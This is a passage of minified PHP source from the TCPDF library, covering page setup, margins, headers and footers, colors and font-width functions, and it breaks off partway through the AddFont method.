setPageOrientation($orientation,$autopagebreak=\'\',$bottommargin=\'\'){if(!isset($this->pagedim[$this->page][\'MediaBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'MediaBox\',0,0,$this->fwPt,$this->fhPt,true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page][\'CropBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'CropBox\',$this->pagedim[$this->page][\'MediaBox\'][\'llx\'],$this->pagedim[$this->page][\'MediaBox\'][\'lly\'],$this->pagedim[$this->page][\'MediaBox\'][\'urx\'],$this->pagedim[$this->page][\'MediaBox\'][\'ury\'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page][\'BleedBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'BleedBox\',$this->pagedim[$this->page][\'CropBox\'][\'llx\'],$this->pagedim[$this->page][\'CropBox\'][\'lly\'],$this->pagedim[$this->page][\'CropBox\'][\'urx\'],$this->pagedim[$this->page][\'CropBox\'][\'ury\'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page][\'TrimBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'TrimBox\',$this->pagedim[$this->page][\'CropBox\'][\'llx\'],$this->pagedim[$this->page][\'CropBox\'][\'lly\'],$this->pagedim[$this->page][\'CropBox\'][\'urx\'],$this->pagedim[$this->page][\'CropBox\'][\'ury\'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page][\'ArtBox\'])){$this->pagedim=TCPDF_STATIC::setPageBoxes($this->page,\'ArtBox\',$this->pagedim[$this->page][\'CropBox\'][\'llx\'],$this->pagedim[$this->page][\'CropBox\'][\'lly\'],$this->pagedim[$this->page][\'CropBox\'][\'urx\'],$this->pagedim[$this->page][\'CropBox\'][\'ury\'],true,$this->k,$this->pagedim);}if(!isset($this->pagedim[$this->page][\'Rotate\'])){$this->pagedim[$this->page][\'Rotate\']=0;}if(!isset($this->pagedim[$this->page][\'PZ\'])){$this->pagedim[$this->page][\'PZ\']=1;}if($this->fwPt>$this->fhPt){$default_orientation=\'L\';}else {$default_orientation=\'P\';}$valid_orientations=array(\'P\',\'L\');if(empty($orientation)){$orientation=$default_orientation;}else {$orientation=strtoupper($orientation[0]);}if(in_array($orientation,$valid_orientations) AND ($orientation!=$default_orientation)){$this->CurOrientation=$orientation;$this->wPt=$this->fhPt;$this->hPt=$this->fwPt;}else {$this->CurOrientation=$default_orientation;$this->wPt=$this->fwPt;$this->hPt=$this->fhPt;}if((abs($this->pagedim[$this->page][\'MediaBox\'][\'urx\']-$this->hPt)<$this->feps) AND (abs($this->pagedim[$this->page][\'MediaBox\'][\'ury\']-$this->wPt)<$this->feps)){$this->pagedim=TCPDF_STATIC::swapPageBoxCoordinates($this->page,$this->pagedim);}$this->w=($this->wPt/$this->k);$this->h=($this->hPt/$this->k);if(TCPDF_STATIC::empty_string($autopagebreak)){if(isset($this->AutoPageBreak)){$autopagebreak=$this->AutoPageBreak;}else {$autopagebreak=true;}}if(TCPDF_STATIC::empty_string($bottommargin)){if(isset($this->bMargin)){$bottommargin=$this->bMargin;}else {$bottommargin=2*28.35/$this->k;}}$this->SetAutoPageBreak($autopagebreak,$bottommargin);$this->pagedim[$this->page][\'w\']=$this->wPt;$this->pagedim[$this->page][\'h\']=$this->hPt;$this->pagedim[$this->page][\'wk\']=$this->w;$this->pagedim[$this->page][\'hk\']=$this->h;$this->pagedim[$this->page][\'tm\']=$this->tMargin;$this->pagedim[$this->page][\'bm\']=$bottommargin;$this->pagedim[$this->page][\'lm\']=$this->lMargin;$this->pagedim[$this->page][\'rm\']=$this->rMargin;$this->pagedim[$this->page][\'pb\']=$autopagebreak;$this->pagedim[$this->page][\'or\']=$this->CurOrientation;$this->pagedim[$this->page][\'olm\']=$this->original_lMargin;$this->pagedim[$this->page][\'orm\']=$this->original_rMargin;} function setSpacesRE($re=\'/[^\S]/\'){$this->re_spaces=$re;$re_parts=explode(\'/\',$re);$this->re_space=array();if(isset($re_parts[1]) AND !empty($re_parts[1])){$this->re_space[\'p\']=$re_parts[1];}else {$this->re_space[\'p\']=\'[\s]\';}if(isset($re_parts[2]) AND !empty($re_parts[2])){$this->re_space[\'m\']=$re_parts[2];}else {$this->re_space[\'m\']=\'\';}} function setRTL($enable,$resetx=true){$enable=$enable?true:false;$resetx=($resetx AND ($enable!=$this->rtl));$this->rtl=$enable;$this->tmprtl=false;if($resetx){$this->Ln(0);}} function getRTL(){return $this->rtl;} function setTempRTL($mode){$newmode=false;switch(strtoupper($mode)){case \'LTR\':case \'L\':{if($this->rtl){$newmode=\'L\';}break;}case \'RTL\':case \'R\':{if(!$this->rtl){$newmode=\'R\';}break;}case false:default:{$newmode=false;break;}}$this->tmprtl=$newmode;} function isRTLTextDir(){return ($this->rtl OR ($this->tmprtl==\'R\'));} function setLastH($h){$this->lasth=$h;} function getCellHeight($fontsize,$padding=TRUE){$height=($fontsize*$this->cell_height_ratio);if($padding){$height+=($this->cell_padding[\'T\']+$this->cell_padding[\'B\']);}return round($height,6);} function resetLastH(){$this->lasth=$this->getCellHeight($this->FontSize);} function getLastH(){return $this->lasth;} function setImageScale($scale){$this->imgscale=$scale;} function getImageScale(){return $this->imgscale;} function getPageDimensions($pagenum=\'\'){if(empty($pagenum)){$pagenum=$this->page;}return $this->pagedim[$pagenum];} function getPageWidth($pagenum=\'\'){if(empty($pagenum)){return $this->w;}return $this->pagedim[$pagenum][\'w\'];} function getPageHeight($pagenum=\'\'){if(empty($pagenum)){return $this->h;}return $this->pagedim[$pagenum][\'h\'];} function getBreakMargin($pagenum=\'\'){if(empty($pagenum)){return $this->bMargin;}return $this->pagedim[$pagenum][\'bm\'];} function getScaleFactor(){return $this->k;} function SetMargins($left,$top,$right=-1,$keepmargins=false){$this->lMargin=$left;$this->tMargin=$top;if($right==-1){$right=$left;}$this->rMargin=$right;if($keepmargins){$this->original_lMargin=$this->lMargin;$this->original_rMargin=$this->rMargin;}} function SetLeftMargin($margin){$this->lMargin=$margin;if(($this->page>0) AND ($this->x<$margin)){$this->x=$margin;}} function SetTopMargin($margin){$this->tMargin=$margin;if(($this->page>0) AND ($this->y<$margin)){$this->y=$margin;}} function SetRightMargin($margin){$this->rMargin=$margin;if(($this->page>0) AND ($this->x>($this->w-$margin))){$this->x=$this->w-$margin;}} function SetCellPadding($pad){if($pad>=0){$this->cell_padding[\'L\']=$pad;$this->cell_padding[\'T\']=$pad;$this->cell_padding[\'R\']=$pad;$this->cell_padding[\'B\']=$pad;}} function setCellPaddings($left=\'\',$top=\'\',$right=\'\',$bottom=\'\'){if(($left!==\'\') AND ($left>=0)){$this->cell_padding[\'L\']=$left;}if(($top!==\'\') AND ($top>=0)){$this->cell_padding[\'T\']=$top;}if(($right!==\'\') AND ($right>=0)){$this->cell_padding[\'R\']=$right;}if(($bottom!==\'\') AND ($bottom>=0)){$this->cell_padding[\'B\']=$bottom;}} function getCellPaddings(){return $this->cell_padding;} function setCellMargins($left=\'\',$top=\'\',$right=\'\',$bottom=\'\'){if(($left!==\'\') AND ($left>=0)){$this->cell_margin[\'L\']=$left;}if(($top!==\'\') AND ($top>=0)){$this->cell_margin[\'T\']=$top;}if(($right!==\'\') AND ($right>=0)){$this->cell_margin[\'R\']=$right;}if(($bottom!==\'\') AND ($bottom>=0)){$this->cell_margin[\'B\']=$bottom;}} function getCellMargins(){return $this->cell_margin;} function adjustCellPadding($brd=0){if(empty($brd)){return;}if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=true;}$brd=$newbrd;}elseif(($brd===1) OR ($brd===true) OR (is_numeric($brd) AND (intval($brd)>0))){$brd=array(\'LRTB\'=>true);}if(!is_array($brd)){return;}$cp=$this->cell_padding;if(isset($brd[\'mode\'])){$mode=$brd[\'mode\'];unset($brd[\'mode\']);}else {$mode=\'normal\';}foreach($brd as $border=>$style){$line_width=$this->LineWidth;if(is_array($style) AND isset($style[\'width\'])){$line_width=$style[\'width\'];}$adj=0;switch($mode){case \'ext\':{$adj=0;break;}case \'int\':{$adj=$line_width;break;}case \'normal\':default:{$adj=($line_width/2);break;}}if((strpos($border,\'T\')!==false) AND ($this->cell_padding[\'T\']<$adj)){$this->cell_padding[\'T\']=$adj;}if((strpos($border,\'R\')!==false) AND ($this->cell_padding[\'R\']<$adj)){$this->cell_padding[\'R\']=$adj;}if((strpos($border,\'B\')!==false) AND ($this->cell_padding[\'B\']<$adj)){$this->cell_padding[\'B\']=$adj;}if((strpos($border,\'L\')!==false) AND ($this->cell_padding[\'L\']<$adj)){$this->cell_padding[\'L\']=$adj;}}return array(\'T\'=>($this->cell_padding[\'T\']-$cp[\'T\']),\'R\'=>($this->cell_padding[\'R\']-$cp[\'R\']),\'B\'=>($this->cell_padding[\'B\']-$cp[\'B\']),\'L\'=>($this->cell_padding[\'L\']-$cp[\'L\']));} function SetAutoPageBreak($auto,$margin=0){$this->AutoPageBreak=$auto?true:false;$this->bMargin=$margin;$this->PageBreakTrigger=$this->h-$margin;} function getAutoPageBreak(){return $this->AutoPageBreak;} function SetDisplayMode($zoom,$layout=\'SinglePage\',$mode=\'UseNone\'){if(($zoom==\'fullpage\') OR ($zoom==\'fullwidth\') OR ($zoom==\'real\') OR ($zoom==\'default\') OR (!is_string($zoom))){$this->ZoomMode=$zoom;}else {$this->Error(\'Incorrect zoom display mode: \'.$zoom);}$this->LayoutMode=TCPDF_STATIC::getPageLayoutMode($layout);$this->PageMode=TCPDF_STATIC::getPageMode($mode);} function SetCompression($compress=true){if(function_exists(\'gzcompress\')){$this->compress=$compress?true:false;}else {$this->compress=false;}} function setSRGBmode($mode=false){$this->force_srgb=$mode?true:false;} function SetDocInfoUnicode($unicode=true){$this->docinfounicode=$unicode?true:false;} function SetTitle($title){$this->title=$title;} function SetSubject($subject){$this->subject=$subject;} function SetAuthor($author){$this->author=$author;} function SetKeywords($keywords){$this->keywords=$keywords;} function SetCreator($creator){$this->creator=$creator;} function Error($msg){$this->_destroy(true);if(defined(\'K_TCPDF_THROW_EXCEPTION_ERROR\') AND !K_TCPDF_THROW_EXCEPTION_ERROR){die(\'<strong>TCPDF ERROR: </strong>\'.$msg);}else { throw new Exception(\'TCPDF ERROR: \'.$msg);}} function Open(){$this->state=1;} function Close(){if($this->state==3){return;}if($this->page==0){$this->AddPage();}$this->endLayer();if($this->tcpdflink){$gvars=$this->getGraphicVars();$this->setEqualColumns();$this->lastpage(true);$this->SetAutoPageBreak(false);$this->x=0;$this->y=$this->h-(1/$this->k);$this->lMargin=0;$this->_outSaveGraphicsState();$font=defined(\'PDF_FONT_NAME_MAIN\')?PDF_FONT_NAME_MAIN:\'helvetica\';$this->SetFont($font,\'\',1);$this->setTextRenderingMode(0,false,false);$msg="Powered by TCPDF (www.tcpdf.org)";$lnk="http://www.tcpdf.org";$this->Cell(0,0,$msg,0,0,\'L\',0,$lnk,0,false,\'D\',\'B\');$this->_outRestoreGraphicsState();$this->setGraphicVars($gvars);}$this->endPage();$this->_enddoc();$this->_destroy(false);} function setPage($pnum,$resetmargins=false){if(($pnum==$this->page) AND ($this->state==2)){return;}if(($pnum>0) AND ($pnum<=$this->numpages)){$this->state=2;$oldpage=$this->page;$this->page=$pnum;$this->wPt=$this->pagedim[$this->page][\'w\'];$this->hPt=$this->pagedim[$this->page][\'h\'];$this->w=$this->pagedim[$this->page][\'wk\'];$this->h=$this->pagedim[$this->page][\'hk\'];$this->tMargin=$this->pagedim[$this->page][\'tm\'];$this->bMargin=$this->pagedim[$this->page][\'bm\'];$this->original_lMargin=$this->pagedim[$this->page][\'olm\'];$this->original_rMargin=$this->pagedim[$this->page][\'orm\'];$this->AutoPageBreak=$this->pagedim[$this->page][\'pb\'];$this->CurOrientation=$this->pagedim[$this->page][\'or\'];$this->SetAutoPageBreak($this->AutoPageBreak,$this->bMargin);if($resetmargins){$this->lMargin=$this->pagedim[$this->page][\'olm\'];$this->rMargin=$this->pagedim[$this->page][\'orm\'];$this->SetY($this->tMargin);}else {if($this->pagedim[$this->page][\'olm\']!=$this->pagedim[$oldpage][\'olm\']){$deltam=$this->pagedim[$this->page][\'olm\']-$this->pagedim[$this->page][\'orm\'];$this->lMargin+=$deltam;$this->rMargin-=$deltam;}}}else {$this->Error(\'Wrong page number on setPage() function: \'.$pnum);}} function lastPage($resetmargins=false){$this->setPage($this->getNumPages(),$resetmargins);} function getPage(){return $this->page;} function getNumPages(){return $this->numpages;} function addTOCPage($orientation=\'\',$format=\'\',$keepmargins=false){$this->AddPage($orientation,$format,$keepmargins,true);} function endTOCPage(){$this->endPage(true);} function AddPage($orientation=\'\',$format=\'\',$keepmargins=false,$tocpage=false){if($this->inxobj){return;}if(!isset($this->original_lMargin) OR $keepmargins){$this->original_lMargin=$this->lMargin;}if(!isset($this->original_rMargin) OR $keepmargins){$this->original_rMargin=$this->rMargin;}$this->endPage();$this->startPage($orientation,$format,$tocpage);} function endPage($tocpage=false){if(($this->page==0) OR ($this->numpages>$this->page) OR (!$this->pageopen[$this->page])){return;}$this->setFooter();$this->_endpage();$this->pageopen[$this->page]=false;if($tocpage){$this->tocpage=false;}} function startPage($orientation=\'\',$format=\'\',$tocpage=false){if($tocpage){$this->tocpage=true;}if($this->tocpage){$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline[\'f\'] AND ($outline[\'p\']>$this->numpages)){$this->outlines[$key][\'p\']=($outline[\'p\']+1);}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest[\'f\'] AND ($dest[\'p\']>$this->numpages)){$this->dests[$key][\'p\']=($dest[\'p\']+1);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link[\'f\'] AND ($link[\'p\']>$this->numpages)){$this->links[$key][\'p\']=($link[\'p\']+1);}}}if($this->numpages>$this->page){$this->setPage($this->page+1);$this->SetY($this->tMargin);return;}if($this->state==0){$this->Open();}++$this->numpages;$this->swapMargins($this->booklet);$gvars=$this->getGraphicVars();$this->_beginpage($orientation,$format);$this->pageopen[$this->page]=true;$this->setGraphicVars($gvars);$this->setPageMark();$this->setHeader();$this->setGraphicVars($gvars);$this->setPageMark();$this->setTableHeader();$this->emptypagemrk[$this->page]=$this->pagelen[$this->page];} function setPageMark(){$this->intmrk[$this->page]=$this->pagelen[$this->page];$this->bordermrk[$this->page]=$this->intmrk[$this->page];$this->setContentMark();} function setContentMark($page=0){if($page<=0){$page=$this->page;}if(isset($this->footerlen[$page])){$this->cntmrk[$page]=$this->pagelen[$page]-$this->footerlen[$page];}else {$this->cntmrk[$page]=$this->pagelen[$page];}} function setHeaderData($ln=\'\',$lw=0,$ht=\'\',$hs=\'\',$tc=array(0,0,0),$lc=array(0,0,0)){$this->header_logo=$ln;$this->header_logo_width=$lw;$this->header_title=$ht;$this->header_string=$hs;$this->header_text_color=$tc;$this->header_line_color=$lc;} function setFooterData($tc=array(0,0,0),$lc=array(0,0,0)){$this->footer_text_color=$tc;$this->footer_line_color=$lc;} function getHeaderData(){$ret=array();$ret[\'logo\']=$this->header_logo;$ret[\'logo_width\']=$this->header_logo_width;$ret[\'title\']=$this->header_title;$ret[\'string\']=$this->header_string;$ret[\'text_color\']=$this->header_text_color;$ret[\'line_color\']=$this->header_line_color;return $ret;} function setHeaderMargin($hm=10){$this->header_margin=$hm;} function getHeaderMargin(){return $this->header_margin;} function setFooterMargin($fm=10){$this->footer_margin=$fm;} function getFooterMargin(){return $this->footer_margin;} function setPrintHeader($val=true){$this->print_header=$val?true:false;} function setPrintFooter($val=true){$this->print_footer=$val?true:false;} function getImageRBX(){return $this->img_rb_x;} function getImageRBY(){return $this->img_rb_y;} function resetHeaderTemplate(){$this->header_xobjid=false;} function setHeaderTemplateAutoreset($val=true){$this->header_xobj_autoreset=$val?true:false;} function Header(){if($this->header_xobjid===false){$this->header_xobjid=$this->startTemplate($this->w,$this->tMargin);$headerfont=$this->getHeaderFont();$headerdata=$this->getHeaderData();$this->y=$this->header_margin;if($this->rtl){$this->x=$this->w-$this->original_rMargin;}else {$this->x=$this->original_lMargin;}$cell_height=$this->getCellHeight($headerfont[2]/$this->k);if($this->getRTL()){$header_x=$this->original_rMargin+($headerdata[\'logo_width\']*1.1);}else {$header_x=$this->original_lMargin+($headerdata[\'logo_width\']*1.1);}$cw=$this->w-$this->original_lMargin-$this->original_rMargin-($headerdata[\'logo_width\']*1.1);$this->SetTextColorArray($this->header_text_color);$this->SetFont($headerfont[0],\'B\',$headerfont[2]+1);$this->SetX($header_x);$this->Cell($cw,$cell_height,$headerdata[\'title\'],0,1,\'\',0,\'\',0);$this->SetFont($headerfont[0],$headerfont[1],$headerfont[2]);$this->SetX($header_x);$this->MultiCell($cw,$cell_height,$headerdata[\'string\'],0,\'\',0,1,\'\',\'\',true,0,false,true,0,\'T\',false);$this->SetLineStyle(array(\'width\'=>0.85/$this->k,\'cap\'=>\'butt\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>$headerdata[\'line_color\']));$this->SetY((2.835/$this->k)+max(0,$this->y));if($this->rtl){$this->SetX($this->original_rMargin);}else {$this->SetX($this->original_lMargin);}$this->Cell(($this->w-$this->original_lMargin-$this->original_rMargin),0,\'\',\'T\',0,\'C\');$this->endTemplate();}$x=0;$dx=0;if(!$this->header_xobj_autoreset AND $this->booklet AND (($this->page%2)==0)){$dx=($this->original_lMargin-$this->original_rMargin);}if($this->rtl){$x=$this->w+$dx;}else {$x=0+$dx;}$this->printTemplate($this->header_xobjid,$x,0,0,0,\'\',\'\',false);if($this->header_xobj_autoreset){$this->header_xobjid=false;}} function Footer(){} function setHeader(){if(!$this->print_header OR ($this->state!=2)){return;}$this->InHeader=true;$this->setGraphicVars($this->default_graphic_vars);$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$newline=$this->newline;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);if($this->rtl){$this->SetXY($this->original_rMargin,$this->header_margin);}else {$this->SetXY($this->original_lMargin,$this->header_margin);}$this->SetFont($this->header_font[0],$this->header_font[1],$this->header_font[2]);$this->Header();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;$this->newline=$newline;$this->InHeader=false;} function setFooter(){if($this->state!=2){return;}$this->InFooter=true;$gvars=$this->getGraphicVars();$this->footerpos[$this->page]=$this->pagelen[$this->page];$this->_out("
");if($this->print_footer){$this->setGraphicVars($this->default_graphic_vars);$this->current_column=0;$this->num_columns=1;$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);$footer_y=$this->h-$this->footer_margin;if($this->rtl){$this->SetXY($this->original_rMargin,$footer_y);}else {$this->SetXY($this->original_lMargin,$footer_y);}$this->SetFont($this->footer_font[0],$this->footer_font[1],$this->footer_font[2]);$this->Footer();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;}$this->setGraphicVars($gvars);$this->current_column=$gvars[\'current_column\'];$this->num_columns=$gvars[\'num_columns\'];$this->footerlen[$this->page]=$this->pagelen[$this->page]-$this->footerpos[$this->page]+1;$this->InFooter=false;} function inPageBody(){return (($this->InHeader===false) AND ($this->InFooter===false));} function setTableHeader(){if($this->num_columns>1){return;}if(isset($this->theadMargins[\'top\'])){$this->tMargin=$this->theadMargins[\'top\'];$this->pagedim[$this->page][\'tm\']=$this->tMargin;$this->y=$this->tMargin;}if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$prev_lMargin=$this->lMargin;$prev_rMargin=$this->rMargin;$prev_cell_padding=$this->cell_padding;$this->lMargin=$this->theadMargins[\'lmargin\']+($this->pagedim[$this->page][\'olm\']-$this->pagedim[$this->theadMargins[\'page\']][\'olm\']);$this->rMargin=$this->theadMargins[\'rmargin\']+($this->pagedim[$this->page][\'orm\']-$this->pagedim[$this->theadMargins[\'page\']][\'orm\']);$this->cell_padding=$this->theadMargins[\'cell_padding\'];if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}if($this->theadMargins[\'cell\']){if($this->rtl){$this->x-=$this->cell_padding[\'R\'];}else {$this->x+=$this->cell_padding[\'L\'];}}$gvars=$this->getGraphicVars();if(!empty($this->theadMargins[\'gvars\'])){$this->setGraphicVars($this->theadMargins[\'gvars\']);$this->rMargin=$gvars[\'rMargin\'];$this->lMargin=$gvars[\'lMargin\'];}$this->writeHTML($this->thead,false,false,false,false,\'\');$this->setGraphicVars($gvars);if(!isset($this->theadMargins[\'top\'])){$this->theadMargins[\'top\']=$this->tMargin;}if(!isset($this->columns[0][\'th\'])){$this->columns[0][\'th\']=array();}$this->columns[0][\'th\'][\'\'\'.$this->page.\'\'\']=$this->y;$this->tMargin=$this->y;$this->pagedim[$this->page][\'tm\']=$this->tMargin;$this->lasth=0;$this->lMargin=$prev_lMargin;$this->rMargin=$prev_rMargin;$this->cell_padding=$prev_cell_padding;}} function PageNo(){return $this->page;} function getAllSpotColors(){return $this->spot_colors;} function AddSpotColor($name,$c,$m,$y,$k){if(!isset($this->spot_colors[$name])){$i=(1+count($this->spot_colors));$this->spot_colors[$name]=array(\'C\'=>$c,\'M\'=>$m,\'Y\'=>$y,\'K\'=>$k,\'name\'=>$name,\'i\'=>$i);}} function setSpotColor($type,$name,$tint=100){$spotcolor=TCPDF_COLORS::getSpotColor($name,$this->spot_colors);if($spotcolor===false){$this->Error(\'Undefined spot color: \'.$name.\', you must add it using the AddSpotColor() method.\');}$tint=(max(0,min(100,$tint))/100);$pdfcolor=sprintf(\'/CS%d \',$this->spot_colors[$name][\'i\']);switch($type){case \'draw\':{$pdfcolor.=sprintf(\'CS %F SCN\',$tint);$this->DrawColor=$pdfcolor;$this->strokecolor=$spotcolor;break;}case \'fill\':{$pdfcolor.=sprintf(\'cs %F scn\',$tint);$this->FillColor=$pdfcolor;$this->bgcolor=$spotcolor;break;}case \'text\':{$pdfcolor.=sprintf(\'cs %F scn\',$tint);$this->TextColor=$pdfcolor;$this->fgcolor=$spotcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if($this->state==2){$this->_out($pdfcolor);}if($this->inxobj){$this->xobjects[$this->xobjid][\'spot_colors\'][$name]=$this->spot_colors[$name];}return $pdfcolor;} function SetDrawSpotColor($name,$tint=100){$this->setSpotColor(\'draw\',$name,$tint);} function SetFillSpotColor($name,$tint=100){$this->setSpotColor(\'fill\',$name,$tint);} function SetTextSpotColor($name,$tint=100){$this->setSpotColor(\'text\',$name,$tint);} function setColorArray($type,$color,$ret=false){if(is_array($color)){$color=array_values($color);$c=isset($color[0])?$color[0]:-1;$m=isset($color[1])?$color[1]:-1;$y=isset($color[2])?$color[2]:-1;$k=isset($color[3])?$color[3]:-1;$name=isset($color[4])?$color[4]:\'\';if($c>=0){return $this->setColor($type,$c,$m,$y,$k,$ret,$name);}}return \'\';} function SetDrawColorArray($color,$ret=false){return $this->setColorArray(\'draw\',$color,$ret);} function SetFillColorArray($color,$ret=false){return $this->setColorArray(\'fill\',$color,$ret);} function SetTextColorArray($color,$ret=false){return $this->setColorArray(\'text\',$color,$ret);} function setColor($type,$col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=\'\'){if(!is_numeric($col1)){$col1=0;}if(!is_numeric($col2)){$col2=-1;}if(!is_numeric($col3)){$col3=-1;}if(!is_numeric($col4)){$col4=-1;}$suffix=\'\';if(($col2==-1) AND ($col3==-1) AND ($col4==-1)){$col1=max(0,min(255,$col1));$intcolor=array(\'G\'=>$col1);$pdfcolor=sprintf(\'%F \',($col1/255));$suffix=\'g\';}elseif($col4==-1){$col1=max(0,min(255,$col1));$col2=max(0,min(255,$col2));$col3=max(0,min(255,$col3));$intcolor=array(\'R\'=>$col1,\'G\'=>$col2,\'B\'=>$col3);$pdfcolor=sprintf(\'%F %F %F \',($col1/255),($col2/255),($col3/255));$suffix=\'rg\';}else {$col1=max(0,min(100,$col1));$col2=max(0,min(100,$col2));$col3=max(0,min(100,$col3));$col4=max(0,min(100,$col4));if(empty($name)){$intcolor=array(\'C\'=>$col1,\'M\'=>$col2,\'Y\'=>$col3,\'K\'=>$col4);$pdfcolor=sprintf(\'%F %F %F %F \',($col1/100),($col2/100),($col3/100),($col4/100));$suffix=\'k\';}else {$intcolor=array(\'C\'=>$col1,\'M\'=>$col2,\'Y\'=>$col3,\'K\'=>$col4,\'name\'=>$name);$this->AddSpotColor($name,$col1,$col2,$col3,$col4);$pdfcolor=$this->setSpotColor($type,$name,100);}}switch($type){case \'draw\':{$pdfcolor.=strtoupper($suffix);$this->DrawColor=$pdfcolor;$this->strokecolor=$intcolor;break;}case \'fill\':{$pdfcolor.=$suffix;$this->FillColor=$pdfcolor;$this->bgcolor=$intcolor;break;}case \'text\':{$pdfcolor.=$suffix;$this->TextColor=$pdfcolor;$this->fgcolor=$intcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if(($type!=\'text\') AND ($this->state==2)){if(!$ret){$this->_out($pdfcolor);}return $pdfcolor;}return \'\';} function SetDrawColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=\'\'){return $this->setColor(\'draw\',$col1,$col2,$col3,$col4,$ret,$name);} function SetFillColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=\'\'){return $this->setColor(\'fill\',$col1,$col2,$col3,$col4,$ret,$name);} function SetTextColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=\'\'){return $this->setColor(\'text\',$col1,$col2,$col3,$col4,$ret,$name);} function GetStringWidth($s,$fontname=\'\',$fontstyle=\'\',$fontsize=0,$getarray=false){return $this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont),$s,$this->tmprtl,$this->isunicode,$this->CurrentFont),$fontname,$fontstyle,$fontsize,$getarray);} function GetArrStringWidth($sa,$fontname=\'\',$fontstyle=\'\',$fontsize=0,$getarray=false){if(!TCPDF_STATIC::empty_string($fontname)){$prev_FontFamily=$this->FontFamily;$prev_FontStyle=$this->FontStyle;$prev_FontSizePt=$this->FontSizePt;$this->SetFont($fontname,$fontstyle,$fontsize,\'\',\'default\',false);}if($this->isunicode AND (!$this->isUnicodeFont())){$sa=TCPDF_FONTS::UTF8ArrToLatin1Arr($sa);}$w=0;$wa=array();foreach($sa as $ck=>$char){$cw=$this->GetCharWidth($char,isset($sa[($ck+1)]));$wa[]=$cw;$w+=$cw;}if(!TCPDF_STATIC::empty_string($fontname)){$this->SetFont($prev_FontFamily,$prev_FontStyle,$prev_FontSizePt,\'\',\'default\',false);}if($getarray){return $wa;}return $w;} function GetCharWidth($char,$notlast=true){$chw=$this->getRawCharWidth($char);if(($this->font_spacing<0) OR (($this->font_spacing>0) AND $notlast)){$chw+=$this->font_spacing;}if($this->font_stretching!=100){$chw*=($this->font_stretching/100);}return $chw;} function getRawCharWidth($char){if($char==173){return (0);}if(isset($this->CurrentFont[\'cw\'][$char])){$w=$this->CurrentFont[\'cw\'][$char];}elseif(isset($this->CurrentFont[\'dw\'])){$w=$this->CurrentFont[\'dw\'];}elseif(isset($this->CurrentFont[\'cw\'][32])){$w=$this->CurrentFont[\'cw\'][32];}else {$w=600;}return $this->getAbsFontMeasure($w);} function GetNumChars($s){if($this->isUnicodeFont()){return count(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont));}return strlen($s);} function AddFont($family,$style=\'\',$fontfile=\'\',$subset=\'default\'){if($subset===\'default\'){$subset=$this->font_subsetting;}if($this->pdfa_mode){$subset=false;}if(TCPDF_STATIC::empty_string($family)){if(!TCPDF_STATIC::empty_string($this->FontFamily)){$family=$this->FontFamily;}else {$this->Error(\'Empty font family\');}}if(substr($family,-1)==\'I\'){$style.=\'I\';$family=substr($family,0,-1);}if(substr($family,-1)==\'B\'){$style.=\'B\';$family=substr($family,0,-1);}$family=strtolower($family);if((!$this->isunicode) AND ($family==\'arial\')){$family=\'helvetica\';}if(($family==\'symbol\') OR ($family==\'zapfdingbats\')){$style=\'\';}if($this->pdfa_mode AND (isset($this->CoreFonts[$family]))){$family=\'pdfa\'.$family;}$tempstyle=strtoupper($style);$style=\'\';if(strpos($tempstyle,\'U\')!==false){$this->underline=true;}else {$this->underline=false;}if(strpos($tempstyle,\'D\')!==false){$this->linethrough=true;}else {$this->linethrough=false;}if(strpos($tempstyle,\'O\')!==false){$this->overline=true;}else {$this->overline=false;}if(strpos($tempstyle,\'B\')!==false){$style.=\'B\';}if(strpos($tempstyle,\'I\')!==false){$style.=\'I\';}$bistyle=$style;$fontkey=$family.$style;$font_style=$style.($this->underline?\'U\':\'\').($this->linethrough?\'D\':\'\').($this->overline?\'O\':\'\');$fontdata=array(\'fontkey\'=>$fontkey,\'family\'=>$family,\'style\'=>$font_style);$fb=$this->getFontBuffer($fontkey);if($fb!==false){if($this->inxobj){$this->xobjects[$this->xobjid][\'fonts\'][$fontkey]=$fb[\'i\'];}return 